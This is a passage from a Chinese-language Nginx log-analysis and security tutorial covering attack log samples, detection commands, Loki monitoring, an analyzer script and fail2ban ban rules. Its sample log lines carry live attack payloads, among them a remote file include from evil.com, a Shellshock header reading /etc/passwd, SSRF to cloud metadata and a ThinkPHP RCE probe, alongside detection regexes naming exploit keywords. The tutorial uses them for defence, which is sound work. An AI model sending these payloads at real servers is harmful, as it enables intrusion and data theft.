103.xx.xx.92 - - [13/Mar/2026:02:35:05 +0800] "GET /struts2-showcase/%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%7D HTTP/1.1" 404 162

# ThinkPHP 远程代码执行
103.xx.xx.92 - - [13/Mar/2026:02:35:06 +0800] "GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1 HTTP/1.1" 404 162

# PHP 远程文件包含
185.xx.xx.47 - - [13/Mar/2026:02:35:07 +0800] "GET /index.php?page=http://evil.com/shell.txt HTTP/1.1" 404 162
185.xx.xx.47 - - [13/Mar/2026:02:35:08 +0800] "GET /index.php?page=php://filter/convert.base64-encode/resource=config.php HTTP/1.1" 404 162

# Shellshock(CVE-2014-6271)——又一个老漏洞,但扫描一直没停
185.xx.xx.47 - - [13/Mar/2026:02:35:09 +0800] "GET /cgi-bin/test.cgi HTTP/1.1" 404 162 "-" "() { :; }; /bin/bash -c 'cat /etc/passwd'"

# Server-Side Request Forgery (SSRF) 尝试
103.xx.xx.115 - - [13/Mar/2026:02:35:10 +0800] "GET /proxy?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1" 403 162
103.xx.xx.115 - - [13/Mar/2026:02:35:11 +0800] "GET /proxy?url=http://127.0.0.1:6379/INFO HTTP/1.1" 403 162

检测命令:

# Log4j 漏洞利用检测
grep -iE '(\$\{jndi:|%24%7Bjndi)' /var/log/nginx/access.log | awk '{print $1, $7}' | sort | uniq -c | sort -rn

# Spring4Shell 检测
grep -iE '(classLoader|class\.module)' /var/log/nginx/access.log | awk '{print $1, $7}' | sort | uniq -c | sort -rn

# ThinkPHP 漏洞检测
grep -iE '(invokefunction|think\\app)' /var/log/nginx/access.log | awk '{print $1, $7}' | sort | uniq -c | sort -rn

# SSRF 检测(访问内网 IP 和云元数据)
grep -iE '(169\.254\.169\.254|127\.0\.0\.1|10\.\d+\.\d+\.\d+|172\.(1[6-9]|2[0-9]|3[01])\.\d+\.\d+|192\.168\.)' /var/log/nginx/access.log | awk '{print $1, $7}' | sort | uniq -c | sort -rn

# 综合漏洞利用检测
grep -iE '(jndi|classLoader|invokefunction|call_user_func|eval\(|exec\(|system\(|passthru|shell_exec|phpinfo|base64_decode)' /var/log/nginx/access.log | awk '{print $1, $7}' | sort | uniq -c | sort -rn

2.5 User-Agent 分析

UA(User-Agent)是判断请求来源的重要依据。正常浏览器、合法爬虫、恶意扫描器的 UA 有明显区别。

2.5.1 正常爬虫 UA 特征

合法搜索引擎爬虫会在 UA 中明确标识自己的身份:

# Google 爬虫
"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
"Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/W.X.Y.Z Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"

# 百度爬虫
"Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"

# Bing 爬虫
"Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"

# 搜狗爬虫
"Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm)"

验证爬虫身份是否真实的方法——反向 DNS 解析:

# 以 Googlebot 为例,真正的 Google 爬虫的 IP 反解应该是 *.googlebot.com 或 *.google.com
host 66.249.66.1
# 输出:1.66.249.66.in-addr.arpa domain name pointer crawl-66-249-66-1.googlebot.com.

# 再正向解析验证
host crawl-66-249-66-1.googlebot.com
# 输出:crawl-66-249-66-1.googlebot.com has address 66.249.66.1

# 如果反解结果不是 googlebot.com 域名,就是伪造的

批量验证日志中声称是 Googlebot 的 IP 是否真实:

# 提取所有声称是 Googlebot 的 IP 并验证
grep -i "googlebot" /var/log/nginx/access.log | awk '{print $1}' | sort -u | while read ip; do
    # 反向解析
    rdns=$(host "$ip" 2>/dev/null | awk '{print $NF}' | sed 's/\.$//')
    if echo "$rdns" | grep -qiE '(googlebot\.com|google\.com)$'; then
        echo "[真实] $ip -> $rdns"
    else
        echo "[伪造] $ip -> $rdns"
    fi
done

2.5.2 恶意 Bot 和扫描器 UA

恶意工具的 UA 五花八门,有些直接标明身份,有些伪装成浏览器:

# 明确标识的扫描工具
"sqlmap/1.7.12#stable (https://sqlmap.org)"
"nikto/2.5.0"
"Nmap Scripting Engine; https://nmap.org/book/nse.html"
"masscan/1.3 (https://github.com/robertdavidgraham/masscan)"
"DirBuster-1.0-RC1 (http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project)"
"gobuster/3.6"
"wfuzz/3.1.0"
"WPScan v3.8.27 (https://wpscan.com/)"

# 常见扫描器的简短 UA
"python-requests/2.31.0"
"Go-http-client/1.1"
"curl/8.5.0"
"Wget/1.21.4"
"Java/17.0.6"
"libwww-perl/6.72"

# 可疑的极简 UA——正常浏览器不可能这么短
"Mozilla/5.0"
"-"
""
"Hello World"
"test"

注意:python-requestscurlGo-http-client 这些 UA 不一定是恶意的。你自己的监控脚本、健康检查、API 调用也可能用这些。判断是否恶意要结合请求内容和频率。

2.5.3 UA 统计与异常检测

# 统计所有 UA 出现次数
awk -F'"' '{print $6}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -30

# 找出空 UA 或短 UA 的请求——大概率是工具或恶意请求
awk -F'"' 'length($6) < 10 || $6 == "-" {print $1, $6}' /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -rn | head -20

# 找出已知扫描工具的请求
grep -iE '(sqlmap|nikto|nmap|masscan|dirbuster|gobuster|wfuzz|wpscan|acunetix|nessus|openvas|burpsuite|zaproxy)' /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -rn

# 统计使用 python-requests 的 IP 及其请求的 URL
awk -F'"' '/python-requests/ {print $1}' /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -rn | head -10

2.6 状态码异常分析

HTTP 状态码是判断异常行为的重要指标。不同状态码组合反映不同类型的攻击。

2.6.1 404 扫描行为

某个 IP 短时间内产生大量 404,基本就是在跑扫描器遍历路径:

# 统计每个 IP 的 404 请求数量
awk '$9 == 404 {print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20

# 查看 404 最多的 IP 在访问什么路径
ip="185.xx.xx.33"
awk -v ip="$ip" '$1 == ip && $9 == 404 {print $7}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -30

正常情况下一个 IP 偶尔出现几个 404 是正常的(比如书签过期、链接失效),但如果一个 IP 在 10 分钟内产生了 200+ 个 404,每个 URL 都不一样,那就是扫描器无疑。

2.6.2 403 探测行为

403 表示禁止访问。如果某个 IP 产生大量 403,说明它在尝试访问被保护的资源:

# 统计 403 请求的 IP 和 URL
awk '$9 == 403 {count[$1]++; url[$1] = url[$1] ? url[$1] "," $7 : $7} END {for(ip in count) if(count[ip] > 10) print count[ip], ip}' /var/log/nginx/access.log | sort -rn | head -20

2.6.3 5xx 错误追踪

5xx 错误代表服务端问题。大量 5xx 可能意味着后端服务崩了,也可能是攻击者发送的恶意请求导致后端异常:

# 5xx 错误趋势(按分钟统计)
awk '$9 ~ /^5/ {print substr($4,2,17)}' /var/log/nginx/access.log | sort | uniq -c

# 触发 5xx 最多的 URL
awk '$9 ~ /^5/ {print $7}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20

# 触发 5xx 最多的 IP
awk '$9 ~ /^5/ {print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -10

# 502 和 504 通常意味着后端不可达或超时
awk '$9 == 502 || $9 == 504 {print $4, $7}' /var/log/nginx/access.log | tail -30

2.6.4 状态码分布画像

正常业务的状态码分布应该有一个比较稳定的模式。当分布突然异常时就要警惕:

# 状态码分布饼图数据
awk '{
    total++;
    code[$9]++;
} END {
    printf "\n状态码分布 (总请求: %d)\n", total;
    printf "%-8s %-10s %-8s\n", "状态码", "数量", "占比";
    printf "%-8s %-10s %-8s\n", "------", "------", "------";
    for (c in code) {
        printf "%-8s %-10d %.2f%%\n", c, code[c], code[c]/total*100;
    }
}' /var/log/nginx/access.log | sort -t'%' -k1,1 -rn

正常业务的状态码分布参考:

状态码 正常占比 异常信号
200 85-95% 低于 70% 需要排查
301/302 2-8% 突然增多可能是跳转循环
304 3-10% 缓存命中,比例高是好事
404 0.5-3% 超过 5% 可能有扫描行为
403 < 1% 突然增多说明有人在探测受保护资源
499 < 0.5% 客户端主动断开,比例高说明响应太慢
502/504 < 0.1% 后端故障,超过 1% 需要立即处理

2.7 慢请求分析

慢请求是性能问题的晴雨表。需要 main_ext 或 JSON 格式的日志(包含 $request_time$upstream_response_time)。

2.7.1 request_time vs upstream_response_time

这两个指标的关系:

request_time = 客户端发送请求时间 + Nginx 处理时间 + upstream_response_time + 客户端接收响应时间

几种典型场景:

request_time upstream_response_time 瓶颈在哪
后端处理慢(数据库查询慢、代码逻辑复杂等)
客户端网络差(弱网环境、上传大文件等)
- 没有走 upstream(静态文件请求慢,可能是磁盘 IO 问题)
正常

2.7.2 慢请求排查命令

以下命令基于 main_ext 格式,$request_time 是从末尾数第 4 个字段:

# 找出响应时间 Top20 的请求
awk '{print $(NF-3), $1, $7, $9}' /var/log/nginx/access.log | sort -rn | head -20

# 统计各 URL 的平均响应时间(排除静态资源)
awk '$7 !~ /\.(css|js|png|jpg|gif|ico|svg|woff|ttf|map)$/ {
    url = $7;
    # 去掉查询参数,只保留路径
    gsub(/\?.*/, "", url);
    sum[url] += $(NF-3);
    count[url]++;
    if ($(NF-3) > max[url]) max[url] = $(NF-3);
} END {
    printf "%-50s %8s %8s %8s %8s\n", "URL", "平均(s)", "最大(s)", "请求数", "总耗时(s)";
    for (u in sum) {
        if (count[u] >= 10) {
            printf "%-50s %8.3f %8.3f %8d %8.1f\n", u, sum[u]/count[u], max[u], count[u], sum[u];
        }
    }
}' /var/log/nginx/access.log | sort -t' ' -k2 -rn | head -20

# P99 响应时间统计(需要 gawk)
awk '$7 == "/api/user/profile" {times[NR] = $(NF-3)} END {
    n = asort(times);
    p50 = times[int(n*0.50)];
    p90 = times[int(n*0.90)];
    p95 = times[int(n*0.95)];
    p99 = times[int(n*0.99)];
    printf "P50: %.3fs | P90: %.3fs | P95: %.3fs | P99: %.3fs | 样本数: %d\n", p50, p90, p95, p99, n;
}' /var/log/nginx/access.log

# 慢请求时间分布
awk '{
    t = $(NF-3);
    if (t == "-") next;
    if (t < 0.1) a++;
    else if (t < 0.5) b++;
    else if (t < 1) c++;
    else if (t < 3) d++;
    else if (t < 5) e++;
    else if (t < 10) f++;
    else g++;
    total++;
} END {
    printf "< 0.1s:  %8d (%5.1f%%)\n", a, a/total*100;
    printf "0.1-0.5s:%8d (%5.1f%%)\n", b, b/total*100;
    printf "0.5-1s:  %8d (%5.1f%%)\n", c, c/total*100;
    printf "1-3s:    %8d (%5.1f%%)\n", d, d/total*100;
    printf "3-5s:    %8d (%5.1f%%)\n", e, e/total*100;
    printf "5-10s:   %8d (%5.1f%%)\n", f, f/total*100;
    printf "> 10s:   %8d (%5.1f%%)\n", g, g/total*100;
}' /var/log/nginx/access.log

2.8 实时监控方案

日志分析不能只靠事后翻文件,实时监控才能在问题发生的第一时间发现。

2.8.1 tail + awk 简易实时监控

最简单的实时监控——用 tail -f 配合 awk 过滤:

# 实时显示所有非 200 的请求
tail -f /var/log/nginx/access.log | awk '$9 != 200 {print $4, $1, $9, $7}'

# 实时显示慢请求(响应时间超过 2 秒)
tail -f /var/log/nginx/access.log | awk '$(NF-3) > 2 {printf "\033[31m[SLOW %.2fs]\033[0m %s %s %s\n", $(NF-3), $1, $7, $9}'

# 实时高频 IP 告警(每 10 秒统计一次,超过 50 次就告警)
tail -f /var/log/nginx/access.log | awk '{
    ip[$1]++;
    if (NR % 500 == 0) {
        for (i in ip) {
            if (ip[i] > 50) {
                printf "\033[31m[告警] %s: %d 次请求\033[0m\n", i, ip[i] > "/dev/stderr";
            }
        }
        delete ip;
    }
}'

# 实时检测恶意请求关键词
tail -f /var/log/nginx/access.log | grep --line-buffered -iE '(union.*select|<script|\.\.\/|\.env|wp-admin|jndi|phpinfo)'

2.8.2 Promtail + Loki 日志收集

生产环境推荐用 Grafana Loki 做日志收集和查询。相比 ELK,Loki 只索引标签不索引内容,存储成本低很多。

安装 Promtail(Loki 的日志收集客户端):

# 下载 Promtail
cd /tmp
curl -LO https://github.com/grafana/loki/releases/download/v3.4.2/promtail-linux-amd64.zip
unzip promtail-linux-amd64.zip
sudo mv promtail-linux-amd64 /usr/local/bin/promtail
sudo chmod +x /usr/local/bin/promtail

配置 Promtail 采集 Nginx 日志:

# /etc/promtail/config.yml
server:
  http_listen_port: 9080
  grpc_listen_port: 0

positions:
  filename: /tmp/positions.yaml

clients:
  - url: http://loki-server:3100/loki/api/v1/push

scrape_configs:
  - job_name: nginx
    static_configs:
      - targets:
          - localhost
        labels:
          job: nginx
          host: prod-web01
          __path__: /var/log/nginx/access.log

    # 管道处理——从日志行中提取字段作为标签
    pipeline_stages:
      # 正则提取(combined 格式)
      - regex:
          expression: '^(?P<remote_addr>\S+) - (?P<remote_user>\S+) \[(?P<time_local>[^\]]+)\] "(?P<method>\S+) (?P<uri>\S+) (?P<protocol>\S+)" (?P<status>\d+) (?P<body_bytes_sent>\d+) "(?P<referer>[^"]*)" "(?P<user_agent>[^"]*)"'
      # 提取标签(只提取有限几个作为标签,避免标签爆炸)
      - labels:
          method:
          status:
      # 根据状态码设置日志级别
      - match:
          selector: '{job="nginx"} |~ "^.* (4\\d{2}|5\\d{2}) "'
          stages:
            - static_labels:
                level: error
      - match:
          selector: '{job="nginx"} |~ "^.* [23]\\d{2} "'
          stages:
            - static_labels:
                level: info

  # 错误日志
  - job_name: nginx-error
    static_configs:
      - targets:
          - localhost
        labels:
          job: nginx-error
          host: prod-web01
          __path__: /var/log/nginx/error.log

创建 Systemd 服务:

sudo tee /etc/systemd/system/promtail.service > /dev/null << 'EOF'
[Unit]
Description=Promtail Log Collector
After=network.target

[Service]
Type=simple
User=root
ExecStart=/usr/local/bin/promtail -config.file=/etc/promtail/config.yml
Restart=always
RestartSec=5

[Install]
WantedBy=multi-user.target
EOF

sudo systemctl daemon-reload
sudo systemctl enable --now promtail
sudo systemctl status promtail

日志接入 Loki 后,就可以在 Grafana 里用 LogQL 查询了:

# 查看所有 5xx 错误
{job="nginx"} |= "\" 5"

# 查看特定 IP 的请求
{job="nginx"} |= "103.xx.xx.92"

# 查看包含 SQL 注入特征的请求
{job="nginx"} |~ "(?i)(union.*select|or.*1.*=.*1)"

# 统计每分钟的 5xx 错误数
sum(rate({job="nginx", status=~"5.."} [1m]))

# 按状态码统计请求速率
sum by (status) (rate({job="nginx"} [5m]))

三、示例代码和配置

3.1 增强 JSON 日志格式完整配置

这是我在生产环境实际使用的 Nginx 日志配置,包含了安全审计所需的所有关键字段:

# /etc/nginx/nginx.conf 完整日志相关配置

user nginx;
worker_processes auto;
error_log /var/log/nginx/error.log warn;
pid /run/nginx.pid;

events {
    worker_connections 65535;
    use epoll;
    multi_accept on;
}

http {
    include /etc/nginx/mime.types;
    default_type application/octet-stream;

    # ========== 日志格式定义 ==========

    # 标准增强格式——适合命令行分析
    log_format main_ext '$remote_addr - $remote_user [$time_local] '
                        '"$request" $status $body_bytes_sent '
                        '"$http_referer" "$http_user_agent" '
                        '$request_time $upstream_response_time '
                        '$http_x_forwarded_for '
                        '$connection $connection_requests';

    # JSON 格式——适合 ELK/Loki 等日志系统
    log_format json_analytics escape=json
        '{'
            '"timestamp":"$time_iso8601",'
            '"remote_addr":"$remote_addr",'
            '"remote_user":"$remote_user",'
            '"request_method":"$request_method",'
            '"request_uri":"$request_uri",'
            '"server_protocol":"$server_protocol",'
            '"status":$status,'
            '"body_bytes_sent":$body_bytes_sent,'
            '"request_length":$request_length,'
            '"http_referer":"$http_referer",'
            '"http_user_agent":"$http_user_agent",'
            '"http_x_forwarded_for":"$http_x_forwarded_for",'
            '"request_time":$request_time,'
            '"upstream_response_time":"$upstream_response_time",'
            '"upstream_addr":"$upstream_addr",'
            '"upstream_status":"$upstream_status",'
            '"upstream_connect_time":"$upstream_connect_time",'
            '"upstream_header_time":"$upstream_header_time",'
            '"connection":$connection,'
            '"connection_requests":$connection_requests,'
            '"server_name":"$server_name",'
            '"scheme":"$scheme",'
            '"request_id":"$request_id",'
            '"gzip_ratio":"$gzip_ratio",'
            '"ssl_protocol":"$ssl_protocol",'
            '"ssl_cipher":"$ssl_cipher"'
        '}';

    # ========== 日志输出配置 ==========

    # 主访问日志——使用增强文本格式,方便命令行分析
    access_log /var/log/nginx/access.log main_ext;

    # JSON 日志——用于日志收集系统
    access_log /var/log/nginx/access.json.log json_analytics;

    # 关闭健康检查和静态资源的日志记录——减少无意义日志
    map $request_uri $loggable {
        ~*^/(health|ready|alive)$ 0;
        ~*\.(ico|css|js|gif|jpg|jpeg|png|svg|woff|woff2|ttf|map)$ 0;
        default 1;
    }

    # 在需要过滤的 server 块中使用条件日志
    # access_log /var/log/nginx/access.log main_ext if=$loggable;

    # ========== 其他配置 ==========
    sendfile on;
    tcp_nopush on;
    tcp_nodelay on;
    keepalive_timeout 65;
    types_hash_max_size 2048;

    # 隐藏 Nginx 版本号——减少信息泄露
    server_tokens off;

    # 开启 gzip
    gzip on;
    gzip_vary on;
    gzip_proxied any;
    gzip_comp_level 6;
    gzip_types text/plain text/css application/json application/javascript text/xml application/xml;

    include /etc/nginx/conf.d/*.conf;
}

关于 $request_id 字段:Nginx 1.11.0+ 内置支持,会为每个请求生成一个唯一 ID(32 位十六进制字符串)。在微服务架构中,把这个 ID 通过 proxy_set_header X-Request-ID $request_id 传给后端,就能把 Nginx 日志和后端应用日志串联起来,排查问题时特别有用。

3.2 日志分析一键脚本

这个脚本是我日常巡检用的,一键输出所有关键信息:

#!/bin/bash
# nginx_log_analyzer.sh
# 功能:Nginx 访问日志综合分析脚本
# 支持:combined 和 main_ext 格式
# 用法:bash nginx_log_analyzer.sh [日志文件路径] [分析最近N分钟,默认60]

set -euo pipefail

# ========== 参数设置 ==========
LOG_FILE="${1:-/var/log/nginx/access.log}"
MINUTES="${2:-60}"
MALICIOUS_THRESHOLD=100   # 每分钟请求超过此值视为异常
TOP_N=20                  # 排行榜显示数量

# 颜色定义
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
NC='\033[0m'

# ========== 前置检查 ==========
if [[ ! -f "$LOG_FILE" ]]; then
    echo -e "${RED}错误:日志文件 $LOG_FILE 不存在${NC}"
    exit 1
fi

TOTAL_LINES=$(wc -l < "$LOG_FILE")
if [[ "$TOTAL_LINES" -eq 0 ]]; then
    echo -e "${YELLOW}日志文件为空,没有数据可分析${NC}"
    exit 0
fi

echo -e "${CYAN}============================================================${NC}"
echo -e "${CYAN}  Nginx 访问日志综合分析报告${NC}"
echo -e "${CYAN}============================================================${NC}"
echo -e "  日志文件: ${LOG_FILE}"
echo -e "  文件大小: $(du -h "$LOG_FILE" | awk '{print $1}')"
echo -e "  总行数:   ${TOTAL_LINES}"
echo -e "  分析时间: $(date '+%Y-%m-%d %H:%M:%S')"
echo -e "  分析范围: 最近 ${MINUTES} 分钟"
echo -e "${CYAN}------------------------------------------------------------${NC}"

# ========== 1. 概览统计 ==========
echo -e "\n${GREEN}[1] 请求概览${NC}"
echo -e "------------------------------------------------------------"
awk '{
    total++;
    code[$9]++;
    method[substr($6,2)]++;
} END {
    printf "  总请求数: %d\n", total;
    printf "\n  状态码分布:\n";
    for (c in code) {
        pct = code[c] / total * 100;
        bar = "";
        bars = int(pct / 2);
        for (i = 0; i < bars; i++) bar = bar "#";
        printf "    %s: %8d (%5.1f%%) %s\n", c, code[c], pct, bar;
    }
    printf "\n  请求方法分布:\n";
    for (m in method) {
        printf "    %-8s %8d (%5.1f%%)\n", m, method[m], method[m]/total*100;
    }
}' "$LOG_FILE"

# ========== 2. Top IP ==========
echo -e "\n${GREEN}[2] IP 访问量 Top${TOP_N}${NC}"
echo -e "------------------------------------------------------------"
printf "  %-8s  %-18s\n" "请求数" "IP 地址"
awk '{print $1}' "$LOG_FILE" | sort | uniq -c | sort -rn | head -"$TOP_N" | while read count ip; do
    printf "  %-8d  %-18s\n" "$count" "$ip"
done

# ========== 3. Top URL ==========
echo -e "\n${GREEN}[3] 访问量最高的 URL Top${TOP_N}${NC}"
echo -e "------------------------------------------------------------"
printf "  %-8s  %s\n" "请求数" "URL"
awk '{print $7}' "$LOG_FILE" | sort | uniq -c | sort -rn | head -"$TOP_N" | while read count url; do
    printf "  %-8d  %s\n" "$count" "$url"
done

# ========== 4. Top UA ==========
echo -e "\n${GREEN}[4] User-Agent Top10${NC}"
echo -e "------------------------------------------------------------"
awk -F'"' '{print $6}' "$LOG_FILE" | sort | uniq -c | sort -rn | head -10 | while read count ua; do
    # 截断过长的 UA
    if [[ ${#ua} -gt 80 ]]; then
        ua="${ua:0:77}..."
    fi
    printf "  %-8d  %s\n" "$count" "$ua"
done

# ========== 5. 404 分析 ==========
echo -e "\n${GREEN}[5] 404 请求 Top${TOP_N}${NC}"
echo -e "------------------------------------------------------------"
COUNT_404=$(awk '$9 == 404' "$LOG_FILE" | wc -l)
echo -e "  404 总数: ${COUNT_404}"
if [[ "$COUNT_404" -gt 0 ]]; then
    printf "  %-8s  %s\n" "次数" "URL"
    awk '$9 == 404 {print $7}' "$LOG_FILE" | sort | uniq -c | sort -rn | head -"$TOP_N" | while read count url; do
        printf "  %-8d  %s\n" "$count" "$url"
    done
fi

# ========== 6. 高频 IP 检测 ==========
echo -e "\n${GREEN}[6] 高频 IP 检测 (每分钟 > ${MALICIOUS_THRESHOLD} 次)${NC}"
echo -e "------------------------------------------------------------"
HIGH_FREQ=$(awk '{
    ip = $1;
    match($4, /\[([0-9]+\/[A-Za-z]+\/[0-9]+:[0-9]+:[0-9]+)/, arr);
    key = ip " " arr[1];
    count[key]++;
} END {
    for (k in count) {
        if (count[k] > '"$MALICIOUS_THRESHOLD"') {
            printf "  %6d 次/分钟  %s\n", count[k], k;
        }
    }
}' "$LOG_FILE" | sort -rn)

if [[ -n "$HIGH_FREQ" ]]; then
    echo -e "${RED}  发现异常高频访问!${NC}"
    echo "$HIGH_FREQ" | head -20
else
    echo -e "${GREEN}  未发现高频异常 IP${NC}"
fi

# ========== 7. 恶意请求检测 ==========
echo -e "\n${GREEN}[7] 恶意请求检测${NC}"
echo -e "------------------------------------------------------------"

# SQL 注入检测
SQL_COUNT=$(grep -ciE '(union.*select|or\+1=1|and\+1=1|sleep\(|benchmark\(|information_schema|load_file|into\+outfile)' "$LOG_FILE" 2>/dev/null || echo 0)
echo -e "  SQL 注入尝试: ${SQL_COUNT} 次"

# XSS 检测
XSS_COUNT=$(grep -ciE '(<script|%3cscript|javascript:|onerror=|onload=|alert\(|document\.cookie)' "$LOG_FILE" 2>/dev/null || echo 0)
echo -e "  XSS 攻击尝试: ${XSS_COUNT} 次"

# 路径遍历检测
TRAVERSAL_COUNT=$(grep -cE '(\.\./|%2e%2e)' "$LOG_FILE" 2>/dev/null || echo 0)
echo -e "  路径遍历尝试: ${TRAVERSAL_COUNT} 次"

# 扫描器检测
SCANNER_COUNT=$(grep -ciE '(\.env|wp-admin|wp-login|phpinfo|\.git/|phpmyadmin|adminer|xmlrpc\.php|actuator)' "$LOG_FILE" 2>/dev/null || echo 0)
echo -e "  扫描器探测:   ${SCANNER_COUNT} 次"

# 漏洞利用检测
EXPLOIT_COUNT=$(grep -ciE '(jndi|classLoader|invokefunction|call_user_func|eval\(|system\(|shell_exec)' "$LOG_FILE" 2>/dev/null || echo 0)
echo -e "  漏洞利用尝试: ${EXPLOIT_COUNT} 次"

# 恶意请求来源 IP 汇总
MALICIOUS_TOTAL=$((SQL_COUNT + XSS_COUNT + TRAVERSAL_COUNT + SCANNER_COUNT + EXPLOIT_COUNT))
if [[ "$MALICIOUS_TOTAL" -gt 0 ]]; then
    echo -e "\n${RED}  恶意请求来源 IP Top10:${NC}"
    grep -iE '(union.*select|<script|%3cscript|\.\./|\.env|wp-admin|phpinfo|\.git/|jndi|classLoader|invokefunction)' "$LOG_FILE" 2>/dev/null | awk '{print $1}' | sort | uniq -c | sort -rn | head -10 | while read count ip; do
        printf "    %-8d  %s\n" "$count" "$ip"
    done
fi

# ========== 8. 带宽统计 ==========
echo -e "\n${GREEN}[8] 带宽和流量统计${NC}"
echo -e "------------------------------------------------------------"
awk '{
    total_bytes += $10;
    ip_bytes[$1] += $10;
} END {
    printf "  总流量: %.2f MB\n", total_bytes/1024/1024;
    printf "\n  流量 Top10 IP:\n";
    n = 0;
    PROCINFO["sorted_in"] = "@val_num_desc";
    for (ip in ip_bytes) {
        if (++n > 10) break;
        printf "    %-18s  %.2f MB\n", ip, ip_bytes[ip]/1024/1024;
    }
}' "$LOG_FILE" 2>/dev/null || echo "  (无法统计,可能日志格式不包含 body_bytes_sent)"

# ========== 报告结尾 ==========
echo -e "\n${CYAN}============================================================${NC}"
echo -e "${CYAN}  分析完成 | $(date '+%Y-%m-%d %H:%M:%S')${NC}"
echo -e "${CYAN}============================================================${NC}"

使用方式:

# 赋予执行权限
chmod +x nginx_log_analyzer.sh

# 分析默认日志文件
./nginx_log_analyzer.sh

# 分析指定日志文件
./nginx_log_analyzer.sh /var/log/nginx/api.access.log

# 分析最近 30 分钟的数据
./nginx_log_analyzer.sh /var/log/nginx/access.log 30

3.3 自动封禁方案

手动封禁 IP 只能应对已知攻击,自动封禁才是长久之计。这里提供两个方案。

3.3.1 fail2ban 自定义规则

fail2ban 是 Linux 上最成熟的自动封禁框架,通过监控日志文件,匹配预定义的正则规则,自动添加防火墙规则封禁恶意 IP。

安装:

sudo apt install -y fail2ban

创建 Nginx 恶意请求检测过滤器:

# /etc/fail2ban/filter.d/nginx-malicious.conf
# Nginx 恶意请求检测过滤器——覆盖 SQL 注入、XSS、路径遍历、扫描器

[Definition]

# SQL 注入检测
failregex = ^<HOST> .* "(GET|POST|PUT|DELETE|PATCH|HEAD|OPTIONS) .*(union.*select|or\+1=1|and\+1=1|sleep\(|benchmark\(|information_schema|load_file|into\+outfile|extractvalue|updatexml).*HTTP/.*"
            ^<HOST> .* "(GET|POST|PUT|DELETE|PATCH|HEAD|OPTIONS) .*(\%27|\%22|--\+|\%23).*HTTP/.*"
            ^<HOST> .* "(GET|POST|PUT|DELETE|PATCH|HEAD|OPTIONS) .*(<script|%3cscript|javascript:|onerror=|onload=|alert\(|document\.cookie).*HTTP/.*"
            ^<HOST> .* "(GET|POST|PUT|DELETE|PATCH|HEAD|OPTIONS) .*(\.\./|%2e%2e|%252e%252e).*HTTP/.*"
            ^<HOST> .* "(GET|POST|PUT|DELETE|PATCH|HEAD|OPTIONS) .*(\.env|wp-login\.php|wp-admin|phpinfo|\.git/|phpmyadmin|adminer|xmlrpc\.php).*HTTP/.*"
            ^<HOST> .* "(GET|POST|PUT|DELETE|PATCH|HEAD|OPTIONS) .*(jndi|classLoader|invokefunction|call_user_func|eval\(|system\().*HTTP/.*"
            ^<HOST> .* "(GET|POST|PUT|DELETE|PATCH|HEAD|OPTIONS) .*(\.bak|\.old|\.orig|\.save|\.swp|\.swo|~).*HTTP/.*"

ignoreregex =

创建 Nginx CC 攻击检测过滤器:

# /etc/fail2ban/filter.d/nginx-cc.conf
# Nginx CC 攻击检测——短时间内高频请求

[Definition]

# 匹配所有请求(通过 maxretry 控制阈值)
failregex = ^<HOST> .* "(GET|POST|PUT|DELETE|HEAD) .* HTTP/.*" \d+ \d+

ignoreregex =

创建 jail 配置:

# /etc/fail2ban/jail.d/nginx.conf
# Nginx 相关的 fail2ban 监控规则

# 恶意请求封禁——检测到 3 次恶意请求就封禁 24 小时
[nginx-malicious]
enabled  = true
port     = http,https
filter   = nginx-malicious
logpath  = /var/log/nginx/access.log
maxretry = 3
findtime = 600
bantime  = 86400
action   = nftables-multiport[name=nginx-malicious, port="http,https", protocol=tcp]

# CC 攻击封禁——10 秒内超过 100 次请求,封禁 1 小时
[nginx-cc]
enabled  = true
port     = http,https
filter   = nginx-cc
logpath  = /var/log/nginx/access.log
maxretry = 100
findtime = 10
bantime  = 3600
action   = nftables-multiport[name=nginx-cc, port="http,https", protocol=tcp]

# 404 扫描封禁——5 分钟内产生 50 个 404,封禁 12 小时
[nginx-404-scan]
enabled  = true
port     = http,https
filter   = nginx-404
logpath  = /var/log/nginx/access.log
maxretry = 50
findtime = 300
bantime  = 43200
action   = nftables-multiport[name=nginx-404, port="http,https", protocol=tcp]

404 扫描过滤器:

# /etc/fail2ban/filter.d/nginx-404.conf
[Definition]

failregex = ^<HOST> .* "(GET|POST|PUT|DELETE|HEAD) .* HTTP/.*" 404 \d+

ignoreregex =

启动和管理 fail2ban:

# 启动 fail2ban
sudo systemctl enable --now fail2ban

# 查看所有 jail 状态
sudo fail2ban-client status

# 查看某个 jail 的详细状态
sudo fail2ban-client status nginx-malicious

# 查看被封禁的 IP 列表
sudo fail2ban-client status nginx-cc

# 手动解封某个 IP(测试时用)
sudo fail2ban-client set nginx-malicious unbanip 192.168.1.100

# 查看 fail2ban 日志
tail -f /var/log/fail2ban.log

3.3.2 nftables 自动封禁脚本

如果不想装 fail2ban,也可以用一个简单的 Bash 脚本配合 nftables 实现自动封禁。这个脚本适合放到 crontab 里每分钟执行一次:

#!/bin/bash
# auto_ban.sh
# 功能:自动分析 Nginx 日志,封禁高频和恶意 IP
# 用法:放到 crontab 每分钟执行 */1 * * * * /opt/scripts/auto_ban.sh

set -euo pipefail

LOG_FILE="/var/log/nginx/access.log"
BAN_LOG="/var/log/auto_ban.log"
